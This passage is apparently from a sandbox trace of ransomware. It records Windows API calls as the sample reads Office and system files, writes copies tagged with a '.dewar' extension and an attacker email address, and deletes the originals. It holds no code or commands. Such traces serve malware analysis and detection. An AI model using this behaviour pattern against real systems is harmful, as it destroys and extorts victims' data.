"c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0 [0286.557] SetEvent (hEvent=0x118) returned 1 [0286.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0286.559] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3344) returned 1 [0286.559] CloseHandle (hObject=0x1f8) returned 1 [0286.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0286.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0286.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0286.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0286.560] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0286.560] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0286.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x200 [0286.562] ReadFile (in: hFile=0x1f8, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0xd10, lpOverlapped=0x0) returned 1 [0286.846] WriteFile (in: hFile=0x200, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xd20, lpOverlapped=0x0) returned 1 [0286.850] WriteFile (in: hFile=0x200, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0286.851] CloseHandle (hObject=0x1f8) returned 1 [0286.852] CloseHandle (hObject=0x200) returned 1 [0286.853] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0 [0286.853] SetEvent (hEvent=0x118) returned 1 [0286.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0287.273] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1832) returned 1 [0287.273] CloseHandle (hObject=0x200) returned 1 [0287.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0287.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0287.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0287.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0287.275] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0287.275] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0287.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) Thread: id = 53 os_tid = 0x670 [0208.255] GetProcessHeap () returned 0x560000 [0208.255] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x612598 [0208.257] GetProcessHeap () returned 0x560000 [0208.257] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x6225a0 [0208.258] GetProcessHeap () returned 0x560000 [0208.258] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x28) returned 0x5978f8 [0208.258] GetProcessHeap () returned 0x560000 [0208.259] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x110102) returned 0x32c0020 [0208.259] GetProcessHeap () returned 0x560000 [0208.259] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x50) returned 0x599090 [0208.259] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x750a0000 [0208.260] GetProcAddress (hModule=0x750a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750cd650 [0208.260] Wow64DisableWow64FsRedirection (in: OldValue=0x319fafc | out: OldValue=0x319fafc*=0x0) returned 1 [0208.260] GetProcessHeap () returned 0x560000 [0208.260] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599090 | out: hHeap=0x560000) returned 1 [0208.260] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.261] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.261] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0214.159] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=0) returned 1 [0214.159] CloseHandle (hObject=0x1ac) returned 1 [0214.160] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.669] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1984228) returned 1 [0214.669] CloseHandle (hObject=0x1b8) returned 1 [0214.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0214.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0214.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0214.670] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0214.994] ResetEvent (hEvent=0x144) returned 1 [0214.994] SetEvent (hEvent=0x148) returned 1 [0214.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0214.997] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1369952) returned 1 [0214.997] CloseHandle (hObject=0x1d0) returned 1 [0214.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0214.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0214.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.007] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0215.009] ResetEvent (hEvent=0x144) returned 1 [0215.009] SetEvent (hEvent=0x148) returned 1 [0215.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.011] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=994184) returned 1 [0215.012] CloseHandle (hObject=0x1d0) returned 1 [0215.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0215.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0215.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.015] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0215.016] ResetEvent (hEvent=0x144) returned 1 [0215.016] SetEvent (hEvent=0x148) returned 1 [0215.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.018] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=629664) returned 1 [0215.019] CloseHandle (hObject=0x1d0) returned 1 [0215.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0215.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0215.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.024] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0215.028] ResetEvent (hEvent=0x144) returned 1 [0215.028] SetEvent (hEvent=0x148) returned 1 [0215.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0215.029] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=64096) returned 1 [0215.030] CloseHandle (hObject=0x1d4) returned 1 [0215.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0215.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0215.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.031] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0215.033] ResetEvent (hEvent=0x144) returned 1 [0215.033] SetEvent (hEvent=0x148) returned 1 [0215.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.035] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2557) returned 1 [0215.035] CloseHandle (hObject=0x1d0) returned 1 [0215.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0215.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0215.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.037] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0215.038] ResetEvent (hEvent=0x144) returned 1 [0215.038] SetEvent (hEvent=0x148) returned 1 [0215.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.039] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=543304) returned 1 [0215.039] CloseHandle (hObject=0x1d0) returned 1 [0215.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0215.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0215.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.040] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0215.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.936] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=566) returned 1 [0215.937] CloseHandle (hObject=0x1d0) returned 1 [0215.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0215.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0215.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.939] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=7656) returned 1 [0215.939] CloseHandle (hObject=0x1d0) returned 1 [0215.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0215.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0215.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.940] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=31104) returned 1 [0215.941] CloseHandle (hObject=0x1d0) returned 1 [0215.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0215.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0215.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.943] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=38768) returned 1 [0215.944] CloseHandle (hObject=0x1d0) returned 1 [0215.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0215.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft 